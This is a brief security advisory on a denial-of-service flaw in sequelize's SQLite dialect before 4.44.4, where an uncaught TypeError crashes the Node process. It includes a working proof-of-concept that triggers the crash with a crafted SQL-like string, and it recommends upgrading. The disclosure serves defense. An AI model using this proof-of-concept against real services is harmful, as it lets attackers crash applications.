Denial of Service in sequelize

Versions of sequelize prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a TypeError exception for the results variable. The results value may be undefined and trigger the error on a .map call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.

The following proof-of-concept crashes the Node process:

const Sequelize = require('sequelize');

const sequelize = new Sequelize({
	dialect: 'sqlite',
	storage: 'database.sqlite'
});

const TypeError = sequelize.define('TypeError', {
	name: Sequelize.STRING,
});

TypeError.sync({force: true}).then(() => {
	return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"});
});

Recommendation

Upgrade to version 4.44.4 or later.
